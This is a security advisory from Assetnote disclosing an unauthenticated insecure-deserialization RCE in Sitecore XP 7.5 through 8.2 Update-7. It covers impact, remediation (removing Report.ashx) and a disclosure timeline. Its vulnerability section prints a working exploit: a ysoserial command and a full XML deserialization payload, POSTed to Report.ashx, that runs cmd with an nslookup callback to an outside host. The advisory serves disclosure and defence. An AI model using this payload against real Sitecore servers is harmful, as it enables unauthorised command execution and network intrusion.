

Advisory: Sitecore RCE via Insecure Deserialization

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Content

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Summary

Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to remote command execution through insecure deserialization. This vulnerability can be exploited without authentication and allows attackers to execute arbitrary commands on the host machine.

Impact

An attacker can execute arbitrary commands on the host machine running Sitecore. Sitecore is typically hosted on Windows, and in many cases the machines hosting Sitecore are also connected to a Windows domain. Opportunistic hackers could use this vulnerability as an entry point into an internal network / domain.

Affected Software

Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7

Product Description

Sitecore's Experience Platform (XP) is an enterprise content management system (CMS). This CMS is used heavily by enterprises, including many of the companies within the fortune 500.

Sitecore XP provides you with tools for content management, digital marketing, and analyzing and reporting.

Solution

In order to remediate this vulnerability, simply remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/.

The official remediation advice can be found [here](#).

It suggests the following:

For Sitecore XP 7.5.0 - Sitecore XP 7.5.2, use one of the following solutions:
Upgrade your Sitecore XP instance to Sitecore XP 9.0.0 **or** higher.
Consider the necessity of the Executive Insight Dashboard **and** remove the Report.ashx file **from** /sitecore/shell/ClientBin/Reporting/Report.ashx **from** all your server instances.
Upgrade your Sitecore XP instance to Sitecore XP 8.0.0 - Sitecore XP 8.2.7 version **and** apply the solution below.
For Sitecore XP 8.0.0 - Sitecore XP 8.2.7, remove the Report.ashx file **from** /sitecore/shell/ClientBin/Reporting/Report.ashx **from** all your server instances.
Note: The Report.ashx file **is** no longer used **and** can safely be removed.

Vulnerabilities

Using ysoserial we were able to generate a serialized payload which leads to RCE:

```
./ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "nslookup yuwewp90p365hx64wh7rumz8kzqxem.burpcollaborator.net" -o base64 -t
```

The final payload to get command execution looks like the following:

POST /sitecore/shell/ClientBin/Reporting/Report.ashx **HTTP/1.1**

Host: sitecore.local

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36

Connection: close

Content-Type: text/xml

Content-Length: 5919

```
<?xml version="1.0" ?>
<a>
  <query></query>
  <source>foo</source>
  <parameters>
    <parameter name="">
      <ArrayOfstring z:Id="1"
z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089"
      xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
      xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:x="http://www.w3.org/2001/XMLSchema"
      xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
        <Count z:Id="2" z:Type="System.Int32" z:Assembly="0"
          xmlns="">2</Count>
        <Comparer z:Id="3"
z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0"
          xmlns="">
          <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder"
z:Type="System.DelegateSerializationHolder" z:Assembly="0"
            xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic"
            xmlns:a="http://schemas.datacontract.org/2004/07/System">
              <Delegate z:Id="5"
z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0"
                xmlns="">
                <a:assembly z:Id="6">mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>
                <a:delegateEntry z:Id="7">
                  <a:assembly z:Ref="6" i:nil="true"/>

```

```

        <a:delegateEntry i:nil="true"/>
        <a:methodName z:Id="8">Compare</a:methodName>
        <a:target i:nil="true"/>
        <a:targetTypeAssembly z:Ref="6" i:nil="true"/>
        <a:targetTypeName
z:Id="9">System.String</a:targetTypeName>
        <a:type z:Id="10">System.Comparison`1[[System.String,
mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
        </a:delegateEntry>
        <a:methodName z:Id="11">Start</a:methodName>
        <a:target i:nil="true"/>
        <a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>
        <a:targetTypeName
z:Id="13">System.Diagnostics.Process</a:targetTypeName>
        <a:type z:Id="14">System.Func`3[[System.String, mscorlib,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String,
mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],
[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089]]</a:type>
        </Delegate>
        <method0 z:Id="15"
z:FactoryType="b:MemberInfoSerializationHolder"
z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
xmlns=""

xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
        <Name z:Ref="11" i:nil="true"/>
        <AssemblyName z:Ref="12" i:nil="true"/>
        <ClassName z:Ref="13" i:nil="true"/>
        <Signature z:Id="16" z:Type="System.String"
z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>
        <Signature2 z:Id="17" z:Type="System.String"
z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)
</Signature2>

        <MemberType z:Id="18" z:Type="System.Int32"
z:Assembly="0">8</MemberType>
        <GenericArguments i:nil="true"/>
        </method0>
        <method1 z:Id="19"
z:FactoryType="b:MemberInfoSerializationHolder"
z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
xmlns=""

```

```

xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
    <Name z:Ref="8" i:nil="true"/>
    <AssemblyName z:Ref="6" i:nil="true"/>
    <ClassName z:Ref="9" i:nil="true"/>
    <Signature z:Id="20" z:Type="System.String"
z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>
    <Signature2 z:Id="21" z:Type="System.String"
z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>
    <MemberType z:Id="22" z:Type="System.Int32"
z:Assembly="0">8</MemberType>
    <GenericArguments i:nil="true"/>
    </method1>
    </_comparison>
</Comparer>
<Version z:Id="23" z:Type="System.Int32" z:Assembly="0"
xmlns="">2</Version>
<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2"
xmlns="">
    <string z:Id="25"

xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c nslookup
yuwewp90p365hx64wh7rumz8kzqxem.burpcollaborator.net</string>
    <string z:Id="26"

xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string>
    </Items>
    </ArrayOfstring>
</parameter>
</parameters>
</a>

```

The above payload will execute cmd /c nslookup yuwewp90p365hx64wh7rumz8kzqxem.burpcollaborator.net

Blog Post

The blog post detailing the discovery process for this issue can be found [here](#).

Credits

Assetnote Security Research Team

Timeline

- 20/09/2021 - Reported to Sitecore
- 23/09/2021 - Initial response from Sitecore

- 08/10/2021 - Advisory published on Sitecore website
- 02/11/2021 - Blog post published on Assetnote blog

Written by:

Shubham Shah

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Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.

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